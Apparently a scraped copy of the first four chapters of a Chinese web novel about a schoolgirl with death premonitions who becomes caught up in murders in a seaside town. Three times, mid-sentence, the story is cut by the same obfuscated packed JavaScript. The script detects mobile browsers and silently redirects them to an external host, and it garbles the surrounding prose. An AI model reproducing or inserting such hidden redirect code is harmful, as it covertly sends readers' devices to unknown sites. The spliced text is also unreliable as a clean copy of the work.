《池镇怪谈》 1. 怪谈 班上转来了一个男生,听说是因为父母的工作调动,从别的城市搬来的。 以长相来说,他属于阴柔的类型,皮肤白皙,留着稍长的头发,耳际的长发一直垂到脸颊,总是一副忧郁的表情,不爱说话,也没人看见他笑过,喜欢两只手插在兜里,站着的时候微微弓着背,制服多少可以遮住他过于瘦弱的身材。 虽然他的气场让人不敢过于亲近,但也因为这种奇妙的忧郁特质,让他在女生中莫名地有人气。 高中的女生已经懂得很多了,会特意打扮自己,用一些小心机让自己看上去更光彩照人,会聚在一起讨论男孩子或者自己的男朋友。 在这所高中,老师对这方面的事情管得不是很严,不如说已经放弃了管教这群野马一样的少男少女——虽然到了高中就不再是义务教育,但也有升上高中纯粹是为了混日子的人,这所学校就聚集了大量这样的学生,他们整日无所事事,翘课翻墙已经是家常便饭,所幸没有更恶劣的事情发生。 就像所有向往叛逆的青少年一样,他们每天躁动着渴望释放多余的精力,不遗余力地和代表权威的大人作对,沉浸在自己编织的伟大世界里,那个世界的自己无所不能。 但本性不坏的少年们也干不出更坏的事情了,这个小镇很和平,连公认的不良少年团体都劝他们不要大晚上在危险的地方乱逛,甚至还故意凶恶地吓唬他们,下次再看见他们在深夜晃悠就要动手打人了。 话题扯得有些远,我明明在谈论关于转学生的事情,而这正是我最想讲述的故事。 转学生的名字是季野,莫名有一种战国公子的味道——这是女生团体私下里讨论的结论,我深以为然。 在这样和平到令人厌烦的小镇生活中,突然出现这样的一个不同寻常的名字,总让人有一种眼前一亮的感觉,有一种“马上有什么事即将发生”的预感。 突如其来的转校生,与众不同的气场,还有一个不常见的名字,这在漫画里通常是故事的开端,从他转来的那一天开始,我就嗅到了他身上有着跟同龄的男孩子截然不同的味道。 那一天早上,我刚进教室就感觉到这里整个弥漫着一股蠢蠢欲动的氛围,早读的声音稀稀拉拉的,还掺杂着嗡嗡嗡的窃窃私语。我不动声色地坐到座位上之后,把语文书竖起来挡住脸,悄悄转头去问同桌的男生:“喂,发生什么了吗?” 他趴在桌子上,看样子已经睡死了。 我用力推了推他,把他挤到墙上: “别睡了,黄鼠狼要来了!” 他眼睛都没睁,声音沙哑地嘟哝道: “别吵……凌晨三点睡的……” “哇,你干什么去了?又去夜游?那群人不是警告过你岩边一带晚上不安全吗?他们自己也不去的。” “不是……”他有气无力地嘀咕道,“打游戏……” 说话声音小了下去,他又睡着了。 我同情地盯着他,三秒后决定不管他,开始早读。 上午第一节课要抽背,黄鼠狼多半要点我的名。 黄鼠狼就是我们班的语文老师,不知为何会有这个外号,大家都这么叫他,我也就入乡随俗了。 也是不知为何,他每次上课都喜欢点我起来回答问题或者抽背课文,我自认没有做过什么让他刮目相看的事情,但他好像单方面地觉得我是个“可造之才”,是班级的良心。 为了不辜负他的期望,我不得不每天起早贪黑地学习,偶尔几次被他碰见坐在宿舍走廊里读书,还被大大地夸奖了一番,从此以后更为看重我。 这可真是个恶性循环的误会。 在早读结束的铃声响起后,教室里乱糟糟的读书声立刻停了下来,有的学生已经开始探头探脑地向窗外张望。 顺着他们的目光,我看到走廊上背对着这边站着一个陌生的男生,穿着学校统一的制服,我们的班主任正在跟他说着什么,距离太远听不到。 班主任是个美艳的女人,教的科目是化学,目前单身中。 过了一会,班主任领着他向这边走来,伸长脖子的同学立刻把脑袋缩了回去。 在他们走进教室的时候,整个教室蓦然变得鸦雀无声,所有人都在或明目张胆或毫不掩饰地打量着这名跟在班主任身后的男生。 “来做个自我介绍。” 他抬起一直垂着的头,站在讲台上缓缓扫视了一圈,然后开口道: “我的名字是季野,因为父母工作的调动转来这里。” 他的相貌立刻引起了一堆女生的兴趣,有个大胆的女生问道: “你的父母是做什么的呀?” 对于这样突兀而且有些失礼的发问,班主任采取了观望态度,季野则从容答道: “医生。” 他的表情一直都是淡淡的,没有给人倨傲或者瞧不起人的感觉。 我在心里画了个人气表,并且给他打了八十分的高分。 我知道给人打分不太好,但我需要一个标准来将他与其他青春期躁动的男孩子区分开来,以彰显他的与众不同。 我可能有一点颜控。 “好了好了,有什么下课再问,现在离上课还有五分钟,该干什么干什么去。” 班主任拍了拍手,制止了底下想要继续问的女生们: “那个,胡灵灵,你举一下手,季野,你的位置在她前面,那个空座位。” 我意思意思举了个手: “可是我前面坐的是曹平祥。” “翘课的人等于不存在。好了,坐过去吧。” 美女班主任轻轻拍了拍季野的后背,我觉得他的表情有一瞬间的不悦,好像并不喜欢和别人肢体接触,就算对方是美女也一样。 他背着书包走下讲台,我注意到他两只手插在兜里,微微弓着背,走过我身边的时候,身上传来一股青草的泠冽香气。 香水?但是味道太淡了。 我对自己的鼻子还是挺有自信的,虽然这种本事并没有什么用。 他转来的第一天就这样平淡地开始了,我怀着“会发生漫画中的情节”的期待过了整整一天,事实上却什么也没有发生,他跟所有人一样普通地上课,要说有哪里不同,大约是他比起其他人显得更加沉默寡言。 我感到很郁闷,觉得高中转校生总是要和灵异事件或者非日常联系在一起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672063|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要么是隐藏身份的马猴烧酒——或者烧年,要么是拯救世界的勇士、操纵不可思议力量的异能者、掌握世界隐秘情报的特殊人群,再不济也得有非同一般的身份背景,所以这个转校生除了人气高一点之外没有任何特殊之处这件事让我很受伤。 我开始怀疑以上事件是不是只发生在岛国。 下午放学后,很受伤的我把同桌堵在了厕所门口。 “今天晚上跟我去岩边!” 我把他堵在墙角,恶狠狠地壁咚了他。学校的厕所墙壁是粗糙的水泥墙,我冷不丁一巴掌拍上去,费了好大劲才忍住没龇牙咧嘴。 “你不是说那边危险吗?” 同桌把湿漉漉的手糊在了我脸上,我顶着压力没有退让: “我要去狩猎灵异事件!” “所以说那只是传闻,你真的信啊?你是笨蛋吗?都上了十年学了能不能去信唯物主义?” 他非常嫌弃地提着我的胳膊把我拨到一边: “没空陪你玩,今天晚上还有联赛。” “哼算了,那我自己去。”我对着他的背影喊道,“要是找到外星人我就跑去外星球,把你一个人丢在地球!” “放心吧地球上还有六十亿人[1]陪我。去吧去吧,代我向外星人问好啊。” 他对去岩边毫无兴趣。 晚自修结束之后我没有回宿舍,而是去小卖部买了手电筒,往书包里塞了几包零食,踏上了前往岩边的道路。 岩边其实只是我们自己对那里的称呼,实际上它真正的名字是黑礁滩,跟黄鼠狼这个外号一样,黑礁滩的名字来源已不可考,我们叫它岩边是因为这里岩石很多,而且属于海边。 不良少年团体在工作日偶尔会聚到岩边烧烤或者游泳,之后会老老实实地把食物残渣和烧烤之后留下来的垃圾收起来丢掉,这样一看除了游手好闲之外,这些不良少年也没有什么可以称之为不良的地方。 这让我再度加深了这个小镇很和平的认知。 之前说岩边会发生灵异事件是真的,几个月前那里死了一个人,是不良少年团体中的一个。 后来有消息说,他被发现的时候浮在海面,本来都以为是被淹死的,但是验尸结果让所有人都大吃一惊:他是吓死的。 没有任何外伤,只是单纯的经历了极其恐怖的事情,导致肾上腺素激增,血液循环过快,心脏破裂死亡。 在这样和平的小镇发生了这样匪夷所思的事件,平日无所事事的警察立刻疲于奔命,但几个月过去仍然没有丝毫进展,心大的居民也渐渐淡忘了这件事,只是不再把岩边作为娱乐场所。 这就是我所说的灵异事件了。我坚信那名死者是由于看到了不可被记载的“克苏鲁神话”中的景象,所以才惊吓致死。 ——“你脑子有病吧。”这是同桌对我伟大猜想的质疑。 我不会跟他计较,凡人的愚昧并不能制止智者追寻真相的脚步。 同桌对我隔了几个月突发奇想来现场调查的举动感到无法理解,我睿智地告诉他,有些线索会随着时间的流逝而显现出来。 而我不会告诉他的是,其实我真的只是突发奇想。 2. 日常 岩边距离学校有一个小时的步行距离,在我渐渐能听到浪涛声的时候就知道,快到了。 我打着手电筒,注意着脚下的石子,小心地往礁石群走去。那里是案发现场附近,也许会有什么线索。 手电筒忽然闪了几下,熄灭了。 小卖部的这种手电筒只能亮一个小时,需要频繁换电池。 我摸黑在书包里掏了半天,掏出了一节电池,在打开手电筒后盖的时候手一滑把电池碰掉了。 倒霉的我蹲下去捡电池,摸了半天都没摸到,快要放弃的时候,忽然碰到了一个软软的东西。 那不是我的电池。 我镇定地站起身来连退三步,然后努力睁大眼睛试图在一片漆黑中看清眼前的玩意儿。 今晚看不到月亮也没有星星,我觉得自己可能会成为这个小镇第二个死于克苏鲁神话的人。 刚才的触感又黏又滑,很像是某种怪物分泌□□的身体。 我搓了搓手指,上面还残留着不妙的液体,稍微用力搓能感觉到指纹的摩擦。 我缓缓地把手指放到鼻子下面,闻到了血腥味。 我一下子跳了起来向后跑去,没几步就被地面绊了个大跟头,我不管不顾地爬起来继续跑,身后是浪涛的声音,我觉得它要追过来了。 此前从未感受到过的恐惧,现在铺天盖地地向我袭来,我开始想念宿舍硬邦邦的床和我印着大头熊的被子,开始想念食堂晚饭里的小砂砾,还有吃完饭买的那一杯奶茶,我喝不下就塞给了同桌,早知道喝完再死了。 乱七八糟的想了不少,但实际上才跑了几步,或许是几十步,我在两眼抹黑的情况下没有了方向感,如果前面是一堵墙我也会一头撞上去。 我努力地迈开小短腿奔跑,不敢停下,眼前黑纱一样的黑暗渐渐消去,月亮从乌云里悄无声息地露出了脸,偷看我的末路。 我大致能看清路线了,原来不知不觉我已经偏离了来时的路线,拐到了海边一处稀疏的树林里。 转头看身后并没有东西追来,我辛苦地一边大喘气一边向前乱走,肺里有一股铁锈味,大概是毛细血管裂了——生物老师好像这么讲过。 我觉得沮丧,因为我还没有死,我成功地从怪物手里逃脱了。这让我有一种“怪物也不过如此”的感觉,劫后余生的庆幸固然有,但更多的是对我刚才遭遇的质疑。 有什么东西倒在那里,也许是一具尸体,浑身是血,已经凉了。 我看不清是人还是动物。 我之所以会逃跑,是因为第六感。 眼睛看不见的时候,其他感官就会变得特别敏锐,即使没有亲眼见证,我还是“感觉”到了附近有什么生物在。 但是那种感觉十分稀薄,我现在又开始怀疑是不是我出错了。 也许我刚才应该留下来调查,说不定能找到什么有用的东西。 尽管这么想着,我却再也没有勇气也没有方向感原路返回了。 我小心翼翼地注意着后方,踩着落叶往学校走去。手电筒还被我紧紧攥在手里,电池已经掉在了现场,我只能凭一点月光辨别方向。 在快走出树林的时候,我听到身后传来轻微的“咔嚓”一声,是踩在树叶上的声音。 我在回头和继续跑之间犹豫了一瞬间,选了继续跑,但身体却不由自主地站住了,该死的好奇心让我转过了头去。 在离我十几步远的地方站着一个人形的物体,不知从什么时候起就跟在了我身后,一直把脚步隐藏在我的脚步声里,直到刚才不小心露出了破绽。 我应该尖叫的,但叫声卡在了喉咙里发不出来。那个人影向我大步走来,我连后退都做不到,只能直愣愣地站在原地眼睁睁看着他越来越近。 他的右手好像握着什么寒光闪闪的东西,应该是刚才杀了那具尸体的凶器。 我哇地一声哭了出来: “我不想死——!呜呜呜呜——!” “你就这么点志气?” 人影开口了。 我吓了一跳,那个声音有点耳熟,脱口而出道: “胖虎?你联赛呢?” 同桌上前来用力揉了一把我的头发: “现在回去还来得及。笨蛋,我不跟着你你是不是今晚就找不着路坐在地上哭了?手电筒呢?” 我一下子松懈下来,汪呜一声死死勒住他的腰: “呜呜呜胖虎——!你为什么跟着我不说话!吓死我了!你还拿着刀是要做什么啦呜呜呜呜——!” “刀你个头,刚才看见你手电筒灭了,在你待的地方捡的,倒是你出来晃悠带什么刀,把自己捅了多危险?” “不是我的呜呜呜……”我哭了几声忽然觉得不对劲,停了下来,“你说你在地上捡的?” “对啊。”他把我的手打开,“别摸,划了手怎么办。” 我抹了一把眼睛,踮起脚在他耳边说: “这把刀不是你的,也不是我的。那它是谁的?” 他猛地吸了一口气,我能感觉到他的肌肉绷紧了。 然后他拍了拍我的背: “从我身上下去。听好了,不要出声。我们迅速撤离,你走前面。” 我乖乖点头,抬头看了一眼天空,乌云在迅速移动,马上就要再次遮住月亮了。 我的心脏跳得很快,觉得自己话都说不稳了: “跑起来吧。” “不能打草惊蛇。我们走快一点就好。不要回头——喂!” 我往他身后看了一眼,忽然跳了起来,拽着他就跑。 月亮被乌云遮住之前的一瞬间,在树林深处晃出了一个高高瘦瘦的黑影。映在我视网膜里的那个影子,细长细长,掩在树后,就像一条覆在树干上的竹节虫。 我吓得顾不上去抹满脸的眼泪,一开始是我拉着同桌跑,后来变成了他拉着我,有几次我差点被绊倒,他索性拽着我的手腕跑,一次也没有放开。 我们像兔子一样向着学校奔去,头也不敢回。 在看到学校围墙的瞬间,我终于忍不住泄了劲,扑在墙上发抖。 “笨蛋,这下知道害怕了吧。”他把我从墙上撕下来,用力按在怀里,“给你三秒钟,哭完我们翻墙回去。” “我我我我不怕……”我哆嗦着摸他的手,摸到了那把刀,“这个东西你你你还是丢掉吧,上面可能会有克苏鲁的诅咒……” “智障。”他评价道,“早说了那种东西不存在。” “存在的!克苏鲁是存在的!我刚才看到了!” “按你说的不是没有人能目睹克苏鲁的真相吗?”他把我抬起的脑袋再次用力按了下去,我的鼻子撞到了他的胸口。 “……”我沉默了一会儿,“那就是超能力者。” 他轻叹了口气,侧身靠在了墙上,搂着我问:“你还是不相信那是杀人犯干的吗?” “不然就是某个反人类的邪恶异能组织。” “胡灵灵你……” “幽灵。丧尸。鬼怪。死神。”我忍着鼻子的酸意一个词一个词地数。 “胡灵灵!”他恼了,推开我,直视着我的眼睛,“你不要这么幼稚好不好?跟我说没什么大不了的,你对别人也这么说,他们会怎么看你?神经病吗?你不是小孩子了,是时候看清楚这个世界上根本没有什么超能力,也没有鬼怪了!” 我哇地一声又哭出来: “有的!是真的有的!” “你有病吗!”他烦躁地低吼道,“别哭了,被发现就完了!先不讨论这个问题,我们回去吧。” “胖虎……”我小声道。 “就算你要道歉我也不会理你的。”他看了一眼荧光手表,“啧。还有半小时。你自己能回宿舍吧?” “我不是要道歉。”我梗着脖子道,“我是想说,我饿了。” “你包里的零食呢!”他忍无可忍道,“我看见你扫了一堆吃的!” “都是薯片……吃不饱。我请你吃夜宵好不好?” “你是吓饿的吗?” “不是……好吧……那个,去小吃一条街吧,现在才九点半,还有吃的。” “你请?” “我请!” “刚死里逃生,真亏你有胃口啊。” “……呜呜……” “好了哭个球啊!去吃去吃,走吧!” 同桌无可奈何地低吼了一声,把刀随手一扔,推着我往城镇中心走去。 虽然池镇是个小镇,夜生活也还算丰富。 至少在夜市这一块,由于没有严厉的城管,小摊小贩得到了肥沃的成长土壤,各种吃食争奇斗艳,让人光闻着飘散出来的味道就已经食欲大增。 这一条街有一百多米长,沿途大大小小的店面摊铺挤挤攘攘,什么吃的都有,此时正是夜宵高峰期,一眼望去全是烹炒煎炸的油烟雾气和食客的脑袋。 置身于人来人往的闹市之中时,安全感油然而生。 我已经完全忘掉了刚才经历的危险,投身于挑选夜宵的伟大事业。 “胖虎胖虎!我要吃鸭血粉丝!”我拽着同桌的胳膊把他往摊位上拖,“鸭血粉丝!” 同桌一脸不耐烦: “不是说你请我?吃什么该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672064|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我挑吧?” “哦……那你吃什么?” “这个。”他随手指了一家,我沉默了片刻:“……关东煮?” “怎么。”他侧过头看我,“请不起?” “这个比鸭血粉丝还便宜呀……怎么会请不起。”我嘟哝着,“可我想吃鸭血粉丝……那家可鲜了,真的!而且用高温烫煮之后的粉丝超级好吃!” “你有没有常识?大晚上的吃粉丝,你还想不想睡觉了?” “不想。” “……” 他用非常严厉的眼神瞪着我,但我丝毫也不肯在夜宵的落实问题上让步,于是仰着脖子跟他对瞪。 “嘿,小情侣让一让,我过个路。” 身后传来一声吆喝,我回过头,看见是个四十岁上下的摊主推着小车,正好被我们堵在了小吃街的入口。 “大叔,你卖的是什么呀?” 我看了眼他的推车,上面没摆着吃的,不知道他卖的是啥。 “炒酸奶,今天最后一天出摊儿了,马上秋分,天气冷了就不好卖了。”摊主看了我俩一眼,“要买吗,小姑娘?” “胖虎,你要吃炒酸奶吗?”我被勾起了馋虫,“我想吃!” “问我干什么?想吃就买。”他说完皱了皱眉,“你生理期快到了,悠着点。” “哦……”我悻悻地掏钱,“大叔,来一份炒酸奶,加葡萄干的,芒果味,牛奶随便。” 大叔笑呵呵地找了个边儿停车: “今天开门红,给你打个八折。” “谢谢大叔!” 我喜滋滋地数了数拿出来的钱,放了三个钢镚回兜里。 “只能吃一半。剩下的给我。”同桌像老妈子一样站在我旁边叮嘱,“不然下次不带你出来了。” “没你我也能翻墙!” 我扭头瞪他,忽然视线越过他的身侧,看到了人群中有一个眼熟的背影——我绝对不会看错,因为今天一整天我都盯着他的后脑勺瞧,连他的发旋都记得一清二楚。 他的发型有别于其他男生偷懒的平头或者干脆乱蓬蓬的鸟窝头,而是带着一点艺术家气质,让人一眼就能认出来。 “一会帮我拿一下炒酸奶!” 我眼也不敢眨地盯着那个方向,眼睁睁看着那个名叫季野的转学生在拥挤的人群里巧妙挪移,一下子就走出去好几米远。 “喂!”同桌一把抓住我的肩膀,“你干什么去?” “我看见季野了!” “看见就看见了,你跟他很熟?” 同桌满脸都写着不高兴。 “不是的。”我头也不回地盯着那个方向,不知该怎么跟同桌解释,“我必须去找他!” 我挣开了同桌的手,一下子扎进人群里,像一条奋力游泳的鱼,向季野一点点靠近。 漫画或者小说里,有的时候主人公并没有觉醒自己的能力,总是需要一些事情作为契机,让他或她发现自己的与众不同。 而主人公拥有的能力,大多早有预兆。 我也不清楚自己拥有的到底算不算超能力,很多时候只能被称为一种“第六感”。 有的时候我看着一个人,如果这个人近期会死,我会直接看到他的死状——之前死在岩边的那个少年也是这样,我第一眼看见他的时候,就看到他被水泡得发胀的脸。 这件事太过可怕,我连同桌都没有告诉。 而就在刚刚,我盯着季野的后脑勺看时,看到的是一颗子弹穿过了他的头颅。 这个国家非常安定,私自持有枪支是违法行为,因此,开枪射杀他的一定是超能力者——除非凭空变出一把枪,否则要瞒住武器的存在简直是天方夜谭。 虽然我并没有见过超能力者,但我相信一定有,毕竟连我这样的能力都出现了。 拐了个弯,我看到季野的背影在前方的转角一闪而过,忙卯足了劲奔过去,气喘吁吁地越过拐角时,和一个人撞了个满怀,噔噔噔倒退三步,我用脚跟后刹,将将稳住。 在那一刻,我的脑海里浮现出了一个疑问。 ——如果有一天,你的日常生活中,忽然出现了非日常的现象,你的第一反应是什么? 小巷虽然只与小吃一条街隔了一排建筑,却是完全不同的风景。通往这里的窄巷非常不起眼,基本不会有人过来,因此这里除了我和刚刚走进来的季野,没有第三个人。 也因此,当季野的血流到我脚边时,我愣愣地低头看他,竟产生了一种隐秘的兴奋。 心里有个声音颤栗着感叹。 啊……我的日常,到此为止了。 3. 死气 池镇警局。 我和同桌是分开被讯问的。 一个小时前,当他赶到巷子里找我时,还端着我的炒酸奶。 这家伙看到尸体的瞬间,几乎是立刻丢下手里的东西,把我狠狠地拽到他身后,我差点被绊倒,胳膊也被他拽得跟提前脱臼一样疼。 可是这家伙完全没有反省的意思,迅速拉着我离开现场之后报了警。 非常正确的处理方式,也“多亏“了他的正确,我没能近距离调查尸体。 在等警察到来的时间里,我哼哼唧唧地揉着胳膊对他说: “你问我刚才为什么要追着他跑?因为我有超能力,我看到他会死。” 鉴于他面对尸体时的淡定态度,我觉得这件事告诉给他,根本不能对他粗大的神经造成任何伤害。 “别胡说八道了,你只是看到稍微齐整一点的人就把持不住了吧?这次连你的克苏鲁借口都不找了吗?” 同桌一点也不相信我,刻薄极了。 果然如此。 我跳脚: “你才把持不住了呢!胖虎你这个智障!不光是季野,还有之前死在岩边的小八,还有你的爸爸妈妈……” “够了!“他凶狠地吼道,“闭嘴!” 我被他吓到了,脑子里好一阵都在嗡嗡回响着他吼我的话。 虽然过去他也常常笑话我,态度也不好,但这样大声地凶我还是第一次。 “……” 我想开口向他道歉,但他已经让我闭嘴了。 我偷偷去看他的侧脸,他紧紧抿着唇,抬起下巴望向远方,一点也不想和我进行眼神接触。 我抬起手,小心翼翼地捏住他的衣角。他没有察觉,我又用了点力扯了扯。 他的手指动了动,像是想抽飞我,又忍住了。 “我现在不想跟你说话。” 他这样说着,冷酷地往旁边跨了一步,和我拉开距离。 尴尬的沉默一直持续到警察赶来。 十分钟后,警察赶到封锁现场,由于地段不妙,大晚上跑去吃夜宵的闲人都探头探脑地往巷子里张望,赶也赶不走,警察差点连警车都要停到一百米开外去——这里原本是步行街,街口竖了矮柱子,管你警车还是救护车,统统不让进。 明天,这里发生命案的事情一定会比新闻报道更快地传遍整个池镇。 互相不说话的我和同桌,被当成“吓坏了”。 这可真是个让人尴尬的误会,负责询问我的女警连说话声音都低了八度。 询问室里安着摄像机,奇怪的是,面对这样无声的压力,我一点也没有感到紧张或者恐怖,反而沉浸在新鲜感里。 我可能骨子里就唯恐天下不乱。 面对“转学生死了”这件事,心里也没有太大的波澜。 很奇怪,像个怪物。 “目前为止,还有什么要补充的吗?” 面前的女警长得很和气,问话也很和气。 我很乖地摇了摇头。 “嗯……供述基本一致,感谢配合,夜深了,我派人送你回学校吧。” 女警合上笔录,向单面玻璃的另一侧招了招手。 很快,门打开了。 “胖……” 我张了张口,发现居然忘记了同桌的名字。 由于十年来一直叫他胖虎,导致了他真正的名字反而被我遗忘了。 我只能改口道: “跟我一起来的男生呢?” 女警道: “他的讯问一时半会儿不会结束,先送你回去。” “为什么?我们看到的应该是一样的东西,而且我还比他先到现场,理应问我的问题更多才对。”我质疑道,“为什么他在我后面结束?” “不好意思,关乎案情,现在还不能告诉你。” 她从和气恢复到了公式化的面孔,半推着我的背,把我往外怼。 我敏锐地感觉到事情开始往我不能预料的方向发展,忙问道: “警察姐姐,那我以后要是有想起什么线索,能打电话给你吗?” 她思考了一下: “可以,随时欢迎。这是我工作用的电话号码,二十四小时开机。” 被警车送到校门口可不是普通人会有的经历。 这个时候已经深夜了,守夜的老大爷大概肾不好,夜里总要跑几趟厕所,警车停在门口时,他正好不在值班室。 我琢磨着总不能大晚上的让警察跟我一起蹲在校门口,于是当着送我的年轻警察的面,利落地翻墙进去了。 第二天,我准时在座位旁边捡到了睡得天昏地暗的同桌。 “喂,昨天他们都问你什么了?你几点回来的?” 我推了推他。 他嘟哝了句: “反正是比赛结束之后……” 我想起来昨天他还有游戏比赛: “那你最后还是没参加?” 他皱着眉,把脸转向另一边,不理我了。 就在这时,美女化学老师风驰电掣一样,踩着高跟鞋噔噔噔刮进了教室,把试卷纸往讲台上一甩: “把课本收起来,这堂课考试。” 下面一阵走程序一样的唉声叹气,随即放弃治疗的几个人已经开始整理桌子,找出最舒服的睡觉姿势了。 我属于还打算挣扎的那一类,一边慢吞吞地把书塞进桌肚,一边拼死偷窥写着算平化学方程式知识点的那一页,试图在最后用视觉记忆赌那一两分。 同桌此时就像嗅到猎物的食肉动物,打着哈欠撑起脖子,从前座接过试卷。 我跟他坐在最后一排,身后是黑板报。坐在我前面原本名叫曹平祥的那一位,今天不知道倒了什么霉,好不容易大发慈悲来上一次课,正好赶上考试,此时大受打击的他,把课本塞进书包,看样子是打算走了。 我扯住他的包带,小声道: “爸爸!憋走!救我一命!” 他瞥我一眼,又瞥了正在写名字的同桌一眼,用一种颇为猥琐的姿势,缩着脖子,借着传试卷的机会小声问我: “吵架了?” 我拼命点头。 他恢复了正襟危坐,把书包往背上一甩: “下跪求饶,撒泼打滚,还用我教你?” 我眼睁睁目送着他暗搓搓矮下身子,借着课桌掩护,从后门一点也不潇洒地飘然远去,只留下他塞进我手里的试卷,散发着不想同富贵更不想共患难的气息。 然后,试卷的下面藏着一张纸。 我欣喜若狂地悄悄掀开试卷一角看去,发现是校门口那家烧烤店的传单。 ……我要说脏话了! 在迫近的考试危机下,我不得不放弃我的尊严,去换取那珍贵的分数。 我用手肘戳了戳同桌的胳膊,他置之不理,还用笔帽指了指桌上那道模糊的三八线。 这道线的意义只在我们冷战的时候发挥作用,提示双方不要越雷池一步——虽然一直以来都是我主动蹭过去,递出代表友谊的橄榄枝。 现在看来,友谊的橄榄枝被他亲手折断了。 “胖虎……”我低着头掩饰口型,小声道,“求你啦,救我一命!试卷要带回家签字的,咱爸妈要是知道我考不及格,以后就不让我住校啦!” “谁跟你咱爸妈?!”他恼羞成怒地瞪了我一眼,看上去快被我惹毛了,“你就不能好好读书?” 我急道: “我要是读得进去还会上这种学校吗?” “……”他沉默了一会,“下不为例。” “多谢大侠救命之恩!” 得到了胖虎大侠的帮助,我连蒙带抄,总算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672065|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是把试卷填满了,至少看上去像是个能及格的卷子。 下课铃打响的时候,我整个人瘫在桌面上,把自己铺成了一张印度甩饼。 由于这场危机,我跟胖虎很有默契地和好了。 他从书包里掏出一颗可乐糖,丢到我桌上: “扶不上墙……吃完背书!” 我慢吞吞撕开糖纸: “说起来我为什么要叫你胖虎来着?你明明是哆啦A梦嘛。” 他没理我的调侃,拉着我的胳膊把我从桌面上扯过去,凑到我耳边道: “昨晚你是怎么跟警察说的?” 我嘎吱嘎吱用后槽牙磨着硬糖,想了想: “我半夜拉着你跑出去吃夜宵,正好撞见同班同学,跟过去的时候他就已经那样了。” “真的?” “怎么啦?你跟我说的不一样吗?” “岩边的事情你说了没?” “……” “听警察的意思,昨晚在岩边好像也发现了一具尸体。” 我倒吸一口凉气。 昨天我找电池的时候摸到的那一滩,真的是人血! 那粘腻的触感现在似乎还挥之不去,尽管昨晚回到宿舍之后,我用肥皂洗了好几遍。 “我好像把电池掉在现场了!”我心惊胆战,“他们不会以为是我干的吧?” “不会。”同桌含糊地应付过去,“放心吧。” 我抱着脑袋趴在桌上: “呜呜——没想到那个怪物还在岩边游荡,这都是第二个牺牲品了,他到底要怎样才能离开?” “别想了。”同桌拍了拍我的背,“这不是我们要担心的事情,快去背书!” 我哼哼唧唧不情不愿地爬起来,正好上课铃打响了。 这节课理应由黄鼠狼来教语文,然而走上讲台的,依旧是我们的班主任美女老师。 她站上讲台,一言不发,等下面的骚动声变小之后,才开口道: “季野同学由于某些原因转学了。好了,黄老师临时有事,这节课由我来代课。” 说不清哪个消息给学生们打击更大一些,当两个坏消息同时到来时,大家一般只在意与自己息息相关的那个。 于是,下面怨声载道众口一致: “又占课!” 美女老师置若罔闻: “好了,把化学书拿出来,我们翻到第六十六页。” 我趁着骚动,小声对同桌道: “你知道吗,666是撒旦的数字。” 第六十六页是习题,第六行写着这样的话—— 目前用量最大、用途最广的合金是( ),根据其化学成分,可以分为( )和( )两大类。 我一脸懵逼地看向同桌,他看了我一眼,圆珠笔在指间转了一圈,写上了答案。 “钢”,“碳素钢”和“合金钢”。 我发散联想: “你知道吗,国外的子弹壳都是铜制的,只有中国是钢制。” “那又怎样?” 我没有再说话,视线停在“钢”这个字上。 之前岩边发生第一起命案的时候,我正好也是在上化学课,那时候作为拓展学习,美女老师讲了一个化学式——C9H13NO3。 我记得很清楚,因为它的名字叫肾上腺素,可以加快人的反应速度,提高体能,但是对人体有害,会导致血液无法回流到心脏、心室震颤等一系列问题。 也是“吓死”这一死法的元凶。 我看着面前这个冷冷的“钢”字,感觉到自己的手脚也在发冷。 我绕过了某个可怕的猜测,低下头去开文具盒拿笔。 我的文具盒里装着一个小镜子,就在镜子里映出我的脸的那一瞬间,惊鸿一瞥间,我看到了闭紧双眼、一脸死气的自己。 4. 胖虎 我的动作停滞了。 缓缓地把镜子对准自己,看到的却是正常的镜像。 我呼吸变缓,动也不敢动,接着,取出笔,机械地埋头做题——但根本看不进题目,我只能把笔悬在第一题的地方,无声地被恐惧压垮。 直到下课,我都保持着这个姿势,下课铃声惊醒了我,看着空白一片的习题,我心灰意懒地把书合上,往前一推,脸埋在臂弯里一声不吭。 “喂。”同桌戳了戳我,“没电了?” 我闷闷道: “饿了。” 什么东西被放到了我头上。我保持着趴在桌上的姿势,用下巴抵着桌面,举起双手去脑袋上摸索,最后扒拉下来一块肉松面包。 低着头撕开包装,我一小口一小口地撕咬着面包压惊。 也许是肚子填饱有了力气,吃着吃着,我汪地一声就哭了。 “你又怎么了?”同桌无奈极了,“你就不能安个装置,下次哭的时候在头上举个牌子写明原因吗?” 我小声呜咽道: “我就要死了。” 